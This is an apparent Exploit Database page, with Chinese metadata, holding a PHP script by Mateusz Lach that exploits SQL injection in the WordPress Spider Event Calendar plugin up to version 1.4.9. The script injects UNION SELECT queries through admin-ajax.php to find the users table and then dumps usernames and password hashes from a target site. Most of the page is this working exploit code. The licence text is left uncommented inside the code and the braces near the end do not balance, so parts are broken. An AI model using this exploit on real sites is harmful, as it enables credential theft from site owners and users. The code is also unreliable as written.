WordPress Plugin Webdorado Spider Event Calendar 1.4.9 – SQL Injection

Exploit Database
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作者： Mateusz Lach

日期： 2015-02-13
类别：
- webapps
平台：
- php
来源：https://www.exploit-db.com/exploits/36061/

<?php

# Exploit Title: WordPress: Webdorado Spider Event Calendar <= 1.4.9[SQL Injection]

# Date: 2015-02-12

# Exploit Author: Mateusz Lach

# Vendor Homepage: https://www.facebook.com/WebDorado or http://www.webdorado.com

# Software Link: https://downloads.wordpress.org/plugin/spider-event-calendar.1.4.9.zip

# Version: 1.4.9

# Tested on: OpenSUSE Linux + Chrome and Firefox, it's PHP application.

# CVE : CWE-89

# OWASP Top10: A1-Injection

This program is free software: you can redistribute it and/or modify

it under the terms of the GNU General Public License as published by

the Free Software Foundation, either version 3 of the License, or

(at your option) any later version.

This program is distributed in the hope that it will be useful,

but WITHOUT ANY WARRANTY; without even the implied warranty of

MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.See the

GNU General Public License for more details.

You should have received a copy of the GNU General Public License

along with this program.If not, see <http://www.gnu.org/licenses/>.

# Exploit Title: WordPress: Webdorado Spider Event Calendar <= 1.4.9 [SQL Injection]

# Date: 2015-02-12

# Exploit Author: Mateusz Lach

# Vendor Homepage: https://www.facebook.com/WebDorado or http://www.webdorado.com

# Software Link: https://downloads.wordpress.org/plugin/spider-event-calendar.1.4.9.zip

# Version: 1.4.9

# Tested on: OpenSUSE Linux + Chrome and Firefox, it's PHP application.

# CVE : CWE-89

# OWASP Top10: A1-Injection

define('FETCH_PREFIX_URL', 'http://%s/wp-admin/admin-ajax.php?action=spiderbigcalendar_month&theme_id=13&calendar=1&select=month,list,week,day,&date=2015-02&many_sp_calendar=1&cur_page_url=%s&cat_id=1)%%20UNION%%20SELECT%%20%s,1,%%20FROM_UNIXTIME(1423004400),1,(SELECT%%20CONCAT(CHAR(35,35,35,35),table_name,CHAR(35,35,35,35))%%20FROM%%20information_schema.tables%%20WHERE%%20table_name%%20LIKE%%20(%%20SELECT%%20CHAR(37,%%20117,%%20115,%%20101,%%20114,%%20115)%%20)%%20LIMIT%%201),1,1,1,1,%%20CHAR(110,%%20111,%%2095,%%20114,%%20101,%%20112,%%20101,%%2097,%%20116),1,1,1,1,1,1,1,1,1%%20FROM%%20DUAL;--%%20--%%20&widget=0');

define('FETCH_USERS_URL', 'http://%s/wp-admin/admin-ajax.php?action=spiderbigcalendar_month&theme_id=13&calendar=1&select=month,list,week,day,&date=2015-02&many_sp_calendar=1&cur_page_url=%s&cat_id=1)%%20UNION%%20SELECT%%20%s,1,%%20FROM_UNIXTIME(1423004400),1,%%20CONCAT(CHAR(35,33,35,33,35,33,35),GROUP_CONCAT(%%20CONCAT(%%20CONCAT(user_login,CHAR(35,%%2035),user_pass))),CHAR(35,33,35,33,35,33,35)),%%201,1,1,1,%%20CHAR(110,%%20111,%%2095,%%20114,%%20101,%%20112,%%20101,%%2097,%%20116),1,1,1,1,1,1,1,1,1%%20as%%20fakeGroup%%20FROM%%20%s%%20GROUP%%20BY%%20fakeGroup;--%%20&widget=0');

define('FAKE_ID_TO_SEARCH', 12345677654321);

define('PATTERN_TO_SEARCH', 'ev_ids='.FAKE_ID_TO_SEARCH);

define('PATTERN_TO_SEARCH_USERS', '#!#!#!#');

define('ROW_SEPARATOR', ',');

define('FIELD_SEPARATOR', '##');

$server = $_GET['SRV'];

if (empty($server))

{

echo 'Please put server (without protocol) name in SRV GET variable!';

}

else

{

$fullURL = sprintf(FETCH_PREFIX_URL, $server, $server, FAKE_ID_TO_SEARCH);

$prefixCurl = curl_init($fullURL);

curl_setopt($prefixCurl, CURLOPT_RETURNTRANSFER, true);

$result = curl_exec($prefixCurl);

if (stripos($result, PATTERN_TO_SEARCH) !== false)

{

preg_match('/####[a-zA-Z\_0-9]*####/', $result, $tableNames);

$tableName = str_replace('####', '', $tableNames[0]);

echo 'tableName: '.$tableName.'<BR/>';

$fullURL = sprintf(FETCH_USERS_URL, $server, $server, FAKE_ID_TO_SEARCH, $tableName);

$usersCurl = curl_init($fullURL);

curl_setopt($usersCurl, CURLOPT_RETURNTRANSFER, true);

$result = curl_exec($usersCurl);

if (stripos($result, PATTERN_TO_SEARCH) !== false)

{

$from = stripos($result, PATTERN_TO_SEARCH_USERS);

$to = stripos($result, PATTERN_TO_SEARCH_USERS, $from + strlen(PATTERN_TO_SEARCH_USERS));

$result = substr($result, $from, $to-$from);

echo '<table><tr><td>'.str_replace(FIELD_SEPARATOR, '</td><td>', str_replace(ROW_SEPARATOR, '</td></tr><tr><td>', str_replace(PATTERN_TO_SEARCH_USERS, '', $result))).'</td></tr></table>';

}

else

{

echo 'Table name fetched, but not users - try to rewrite exploit :-(';

}

else

{

echo 'NOT vulnerable :-(';

}